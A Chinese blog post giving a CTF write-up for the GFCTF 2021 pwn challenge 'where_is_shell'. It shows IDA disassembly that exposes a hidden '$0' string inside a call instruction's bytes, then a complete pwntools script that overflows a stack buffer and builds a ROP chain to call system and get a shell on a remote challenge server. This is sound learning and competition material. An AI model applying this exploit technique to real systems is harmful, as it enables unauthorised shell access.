当前位置: 首页 > news >正文

[GFCTF 2021]where_is_shell

第一次打CTF——PWN篇学习笔记16

在ida中看一看,发现可疑地址

int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF ​ system("echo 'zltt lost his shell, can you find it?'"); read(0, buf, 0x38u); return 0; } __int64 tips() { return MEMORY[0x403569](); }

看了其他师傅的wp,发现这是一个后门函数,在ida中Options-General-Disassembly-Number of opcode bytes改成10即可发现24 30($0)可用于获得shell

.text:0000000000400537 tips proc near .text:0000000000400537 ; __unwind { .text:0000000000400537 55 push rbp .text:0000000000400538 48 89 E5 mov rbp, rsp .text:000000000040053B B8 00 00 00 00 mov eax, 0 .text:0000000000400540 E8 24 30 00 00 call near ptr 403569h .text:0000000000400545 90 nop .text:0000000000400546 5D pop rbp .text:0000000000400547 C3 retn .text:0000000000400547 ; } // starts at 400537 .text:0000000000400547 tips endp
.text:0000000000400548 ; int __fastcall main(int argc, const char **argv, const char **envp) .text:0000000000400548 public main .text:0000000000400548 main proc near ; DATA XREF: _start+1D↑o .text:0000000000400548 .text:0000000000400548 buf = byte ptr -10h .text:0000000000400548 .text:0000000000400548 ; __unwind { .text:0000000000400548 push rbp .text:0000000000400549 mov rbp, rsp .text:000000000040054C sub rsp, 10h .text:0000000000400550 lea rdi, command ; "echo 'zltt lost his shell, can you find"... .text:0000000000400557 call _system .text:000000000040055C lea rax, [rbp+buf] .text:0000000000400560 mov edx, 38h ; '8' ; nbytes .text:0000000000400565 mov rsi, rax ; buf .text:0000000000400568 mov edi, 0 ; fd .text:000000000040056D mov eax, 0 .text:0000000000400572 call _read .text:0000000000400577 mov eax, 0 .text:000000000040057C leave .text:000000000040057D retn .text:000000000040057D ; } // starts at 400548 .text:000000000040057D main endp

取system地址0x400557,据此编写脚本,成功得到flag

from pwn import * import struct ​ context.arch = 'amd64' context.os = 'linux' ​ #io = process('./pwn') io = remote("node4.anna.nssctf.cn",28152) ​ pop_rdi = 0x4005e3 system = 0x400557 backdoor = 0x400540 + 1 ​ payload = cyclic(0x10 + 8) + p64(pop_rdi) + p64(backdoor) + p64(system) ​ io.sendline(payload) ​ io.interactive()
http://www.cnnetsun.cn/news/115971.html

相关文章:

  • Python大数据基于深度学习的音乐推荐系统-250326--论文
  • Python大数据影评情感分析可视化及推荐系统的设计与实现_u5ck1y17_论文
  • AI Agent设计模式大揭秘:9种架构让你从编程小白变身架构师!
  • Python大数据基于Spark的南昌房价数据分析系统的设计与实现_45i0b357_论文
  • 9 个降AI率工具,自考人必备的降重神器!
  • 9 个降AI率工具,自考人必备!
  • 旅行记录应用新建旅行 - Cordova OpenHarmony 混合开发实战
  • 9 个降AI率工具推荐,继续教育学生必备
  • Java八股文(Java基础面试题)
  • 邦芒忠告:职场中没有好人缘的10种人
  • 基于Spring Boot人才招聘管理系统
  • 拒绝“魔法值”注入:手把手教你实现 Spring Boot 高性能枚举校验注解 @InEnum
  • 国内容易上手的claudecode一键配置指南
  • 复原IP地址
  • Redis 发布订阅
  • JQuery支持WebUploader完成百万文件断点续传的原理?
  • Vue3如何结合组件实现大文件分片的并行上传优化?
  • 类型分布统计-Cordovaopenharmony多维分析实战
  • 四时四名,一山万象:朝鲜金刚山的锦绣风姿
  • 基于Spring Boot的果蔬销售系统
  • Scala Collection(集合)
  • 介观交通流仿真软件:DynusT_(11).交通事件管理
  • django基于Python天气分析系统
  • python基于大数据的分析长沙旅游景点推荐系统
  • 基于Django的学分管理系统
  • 广度优先遍历与最短路径
  • 通信系统仿真:通信系统基础理论_(11).光通信技术
  • 17、Linux文件与目录操作全解析
  • 21、Linux系统进程与包管理全解析
  • 二叉排序树的插入、先序/中序/后序/层次遍历、节点查询